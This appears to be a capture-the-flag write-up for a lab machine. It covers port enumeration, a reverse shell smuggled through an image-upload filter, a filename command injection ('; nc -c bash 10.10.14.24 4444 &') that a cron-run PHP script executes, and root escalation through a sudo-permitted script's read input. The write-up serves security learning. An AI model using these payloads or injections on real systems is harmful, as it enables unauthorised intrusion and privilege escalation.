Jump Ahead: Enum – User – Root

TL;DR;

To solve this machine, we start by enumerating all ports; we see that only ports 22, 80, 443 are open. Next, we enumerate port 80, seeing there is a file upload page that we are able to use to upload a reverse shell. On the box, we look inside the user guly ‘s home directory, and see a crontab script – crontab.guly . Looking at the script, we see that it runs another script that we are also able to read – check_attack.php . check_attack.php contains a code injection vulnerability that we are able to exploit to get a reverse shell back as guly – allowing us to get user.txt . We have sudo privileges to run a file that contains a vulnerability in how input is supplied using the read bash command. Exploiting this, we are able to launch bash as root and get root.txt .

Enumeration

Like all machines, we begin by enumerating all open ports using nmap, then run nmap scripts against them:

$ nmap --min-rate 4000 -p- 10.10.10.146 [...] $ nmap -A -p 22,80,443 -oA scans/tcpAllScripts 10.10.10.146 Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-30 10:20 CDT Nmap scan report for 10.10.10.146 Host is up (0.055s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA) | 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA) |_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 443/tcp closed https Aggressive OS guesses: Linux 3.10 - 4.11 (94%), Linux 3.18 (91%), Linux 3.2 - 4.9 (91%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 4.10 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Asus RT-AC66U WAP (90%), Li nux 3.10 (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 54.09 ms 10.10.14.1 2 54.34 ms 10.10.10.146 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.84 seconds

Seeing that port 80 is open, we use gobuster to enumerate it:

$ gobuster dir -u 10.10.10.146 -w /opt/wordlists/seclists/Discovery/Web-Content/common.txt -o scans/gobuster-80-common.txt $ gobuster dir -u 10.10.10.146 -w /opt/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -o scans/gobuster-80-raft-medium-files.txt

Of note, running these commands found:

/uploads (Status: 301) /upload.php (Status: 200) /photos.php (Status: 200)

Getting User

Going to /upload.php , we see that this page allows us to upload files. Trying to upload a regular file before uploading a reverse shell, we see that it only wants us to upload an image.

upload.php allows us to upload a file

Uploading a bad file type

Trying quick evasion techniques like changing the filename and mime-type prove unsuccessful, however, we are able to cat a legitimate image file with our reverse shell to evade the filtering. Once our file uploads, we are instructed to refresh the gallery. To do this, we navigate to http://10.10.10.146/photos.php , which then runs our reverse shell.

Our reverse shell as the apache user

Looking around the machine, we go to the user guly ‘s home directory, where we see there is a cron script we are able to read – crontab.guly . Every 3 minutes, this script runs another script, check_attack.php , that we are also able to read.

Guly’s home directory and check_attack.php

check_attack.php essentially gets a list of every file in /var/www/html/uploads/ and processes it for removal if it is not named index.html . The foreach loop iterates over every filename, storing the name in variable $value . We notice that $value is not sanitized in any way, which means we should be able to inject code to get a reverse shell. To do this, we use the touch command to create a file named ‘; nc -c bash 10.10.14.24 4444 &’ .

touch ‘; nc -c bash 10.10.14.24 4444 &’

Once the cron job executes, we should have a shell as guly and be able to read user.txt .

Creating the file to execute code injection

Getting the reverse shell and reading user.txt

At this point, we can generate and upload our RSA public key so we can have a true shell via SSH.

Getting Root

One of the first things we do when connecting as a new user is run sudo -l, which shows we can run /usr/local/sbin/changename.sh as root.

Running sudo -l

Looking at the script, we see that it serves as a way to create new network interfaces. Looking deeper at the script, we see the read command takes input from the user. Due to the way the Linux command line works, arguments are separated by whitespace, unless surrounded by quotes. Because of this, we should be able to inject the bash command through this script. To launch bash as the root user, we should be able to supply it as the second argument.

Testing arguments to the read command

Getting a root shell

Injecting bash as the second argument when we are asked for input successfully gives us a shell as root . We are now able to read root.txt !

Reading root.txt

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!